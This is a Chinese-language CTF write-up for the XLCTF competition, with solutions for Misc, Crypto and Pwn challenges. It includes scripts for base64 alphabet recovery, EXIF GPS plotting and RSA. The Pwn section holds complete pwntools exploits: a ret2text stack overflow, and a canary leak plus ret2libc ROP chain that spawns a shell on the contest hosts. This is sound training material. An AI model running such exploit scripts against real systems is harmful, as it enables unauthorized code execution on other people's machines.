Misc
别呀啦(签到)
观察可以发现每一层都有一个文件的修改日期不同,解压每一层修改日期不同的文件
得到Flag
XLCTF{xnnxixixi6-666-666-love}
base64游戏
题目提供一个输入口,将输入的数据用未知的码表进行base64编码,我们需要根据编码后的数据来推断出码表。
首先我们需要知道Base64的原理
由于2**6=64,所以每6个比特为一个单元,对应某个可打印字符。3个字节有24个比特,对应于4个base8单元,即编码时,3个字节(明文)可由4个可打印字符(密文)来表示一组。举个例子:
因此可以通过密文得到索引,再通过编码后的数据按照索引填入码表对应位置
但是我们无法保证码表所有位置都能找到索引填入,未被填入的部分我们用 ? 来替代。尝试后发现部分内容依旧无法得到,于是枚举出所有的可能,并将输入程序的密文按照这个码表进行编码,将得到的数据与远程连接返回的数据进行比对,随可以得到较为正确的码表(但是尝试后发现还有五种可能,尝试后第一个码表就是正确的),写了一个代码自动化一键获取较为正确的码表
import base64
import itertools
from pwn import *
base64_aiphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def text_to_indexes(s):
encoded_str = base64.b64encode(s.encode()).decode()
encoded_str = encoded_str.rstrip("=")
return [base64_aiphabet.index(c) for c in encoded_str]
def build_Aiphabet(encoded_str, idxs):
Aiphabet = ['?'] * 64
for i, idx in enumerate(idxs):
Aiphabet[idx] = encoded_str[i]
return ''.join(Aiphabet)
def custom_base64_encode(input_bytes, possible_aiphabet):
binary_str = ''.join(f'{byte:08b}' for byte in input_bytes)
groups_of_6_bits = [binary_str[i:i+6] for i in range(0, len(binary_str), 6)]
if len(groups_of_6_bits[-1]) < 6:
groups_of_6_bits[-1] = groups_of_6_bits[-1].ljust(6, '0')
encoded_chars = [int(group, 2) for group in groups_of_6_bits]
encoded_str = ''.join(possible_aiphabet[i] for i in encoded_chars)
padding = '=' * ((4 - len(encoded_str) % 4) % 4)
return encoded_str + padding
io = remote("xlctf.huhstsec.top", 33772)
text = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
io.sendlineafter(b'encode:', text.encode())
io.recvuntil(b'Encode: ')
encoded_str = io.recvline().strip().decode()
print("Encoded_str:", encoded_str)
indexes = text_to_indexes(text)
Aiphabet = build_Aiphabet(encoded_str, indexes)
print(f'Aiphabet: {Aiphabet}')
# with open("output.txt", "a") as file:
# file.write(Aiphabet + "\n")
io.close()
Aiphabet="/fBawDSFHXLbCygxn9s7imlVYvr21e6GZ+04Tq8RzAhjuKM53dtQIpWEUcJ?PO??" # "def build_Aiphabet(encoded_str, idxs):ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"*50
missing_chars = [char for char in base64_aiphabet if char not in Aiphabet]
print("All cases:")
all_permutations = itertools.permutations(missing_chars)
for perm in all_permutations:
possible_aiphabet = list(Aiphabet)
perm_idx = 0
for i in range(len(possible_aiphabet)):
if possible_aiphabet[i] == '?':
possible_aiphabet[i] = perm[perm_idx]
perm_idx += 1
possible_aiphabet = ''.join(possible_aiphabet)
print(possible_aiphabet,end=' | ')
encoded_data = custom_base64_encode(text.encode(), possible_aiphabet)
if encoded_data == encoded_str:
print("Find the Right Aiphabet")
宇宙编史
题目附件只给了zip,所以优先考虑伪加密,并且后台爆破密码。发现伪加密有效(具体伪加密细节查看之前写的文档)。
打开文档发现零宽标识
零宽隐写解密后得到Flag
flag{you_know_use_0_zero}
银河救援SOS!
题目附件得到密文
按照标准银河字母表进行解密
得到压缩包密码
superalien
明文攻击,压缩工具为7zip
注意当在找到密钥后就可以停止了,不用找到口令
解压后得到很多张jpg(1~80,中间一张缺失),打开一张发现在EXIF中的GPS存在信息。将经度定为X,纬度定为Y,每一张图片的GPS信息得出一组坐标,并作图连线,编写代码
import os
from PIL import Image
from PIL.ExifTags import TAGS
import matplotlib.pyplot as plt
def dms_to_decimal(degrees, minutes, seconds):
return degrees + (minutes / 60) + (seconds / 3600)
x = []
y = []
for i in range(1, 81):
file_name = f"{i}.jpg"
if os.path.exists(file_name):
print(f"EXIF {file_name}")
image = Image.open(file_name)
exif_data = image._getexif()
if exif_data is not None:
for tag, value in exif_data.items():
tag_name = TAGS.get(tag, tag)
if 'GPSInfo' in tag_name :
print(f"{value}")
x_dms_coordinate = (value[2][0], value[2][1], value[2][2])
y_dms_coordinate = (value[4][0], value[4][1], value[4][2])
x_decimal_coordinate = dms_to_decimal(*x_dms_coordinate)
y_decimal_coordinate = dms_to_decimal(*y_dms_coordinate)
x.append(x_decimal_coordinate)
y.append(y_decimal_coordinate)
print(f'{x_decimal_coordinate} {y_decimal_coordinate}')
else:
print("Have No EXIF Data")
print("="*100)
else:
print(f"{file_name} does not exist")
print("="*100)
print("X list:", x)
print("Y list:", y)
plt.scatter(y, x , color="blue")
for i in range(len(x) - 1):
plt.annotate("", xy=(y[i+1], x[i+1]), xytext=(y[i], x[i]),
arrowprops=dict(arrowstyle="-", color="red", lw=2))
plt.xlabel('X')
plt.ylabel('Y')
plt.show()
得到的图象如下
得到Flag
flag{UHATCANITALK}
寻找flag碎片之旅
Crypto
RSA就是数学口牙(签到)
已知RSA的 p+q 和 (p+1)(q+1) ,简单的数学问题
import gmpy2
from Crypto.Util.number import long_to_bytes
p_add_q = 0x1232fecb92adead91613e7d9ae5e36fe6bb765317d6ed38ad890b4073539a6231a6620584cea5730b5af83a3e80cf30141282c97be4400e33307573af6b25e2ea
x = 0x5248becef1d925d45705a7302700d6a0ffe5877fddf9451a9c1181c4d82365806085fd86fbaab08b6fc66a967b2566d743c626547203b34ea3fdb1bc06dd3bb765fd8b919e3bd2cb15bc175c9498f9d9a0e216c2dde64d81255fa4c05a1ee619fc1fc505285a239e7bc655ec6605d9693078b800ee80931a7a0c84f33c851740
c = 0x21bfef2961c512fbb81fd75ca1c38cbc810dee21d04de1e749c9a24cc975447acc1098228108f25a5ab4840212b2c0f305aabb17ee6835599425ffeedb85698ff9edbc70d9e87acd5232526304948f806c0283776d3eb217599e06616a12d899b14723bfeb29becb10e464247760f828463eb4f0536244771c648b6445fab855
e = 0xe6b1bee47bd63f615c7d0a43c529d219
n = x - p_add_q - 1
phi = n - p_add_q + 1
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
# b'flag{Aurora_CAL}'
你真的懂社会主义核心价值观吗
社会主义核心价值观解码后得到base字符串
WExDVEZ7SHVuYW5GaXJzdE5vcm1hbFVuaXZlcnNpdHlpc3ZlcnliZWF1dGlmdWx9
base64解码后得到Flag
XLCTF{HunanFirstNormalUniversityisverybeautiful}
Pwn
ret2text签到
检查保护,64位无保护
查看程序,发现后门函数。栈溢出劫持程序流到后门函数
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='xlctf.huhstsec.top'
port=41313
file_name='1'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.CL:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
binsh_add = 0x000000000040115A
offset = 0x0A
payload = b'a'*(offset+8) + p64(binsh_add)
io.sendlineafter(b'xlctf',payload)
if __name__=='__main__':
io=Start()
Exp()
io.interactive()
ezlibc
检查保护,开了代码执行保护和Canary
查看程序,有两次栈溢出的read,刚好可以一次泄露Canary一次泄露libcbase
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
host='xlctf.huhstsec.top'
port=45380
file_name='ezlibc'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.CL:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
ret_add = 0x000000000040059e
pop_rdi = 0x0000000000400843
main_add = 0x00000000004006E7
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset = 0x30
io.sendafter(b'flag!', b'a'*(offset-8+1))
io.recvuntil(b'a'*(offset-8+1))
canary = u64(b'\00' + io.recv(7))
print(f'Canary: {hex(canary)}')
payload1 = b'a'*(offset-8) + p64(canary) + b'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'key', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_add: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr) # libc6_2.27-3ubuntu1.6_amd64
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
payload2 = b'a'*(offset-8) + p64(canary) + b'a'*8 + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'flag!',payload2)
if __name__=='__main__':
io=Start()
Exp()
io.interactive()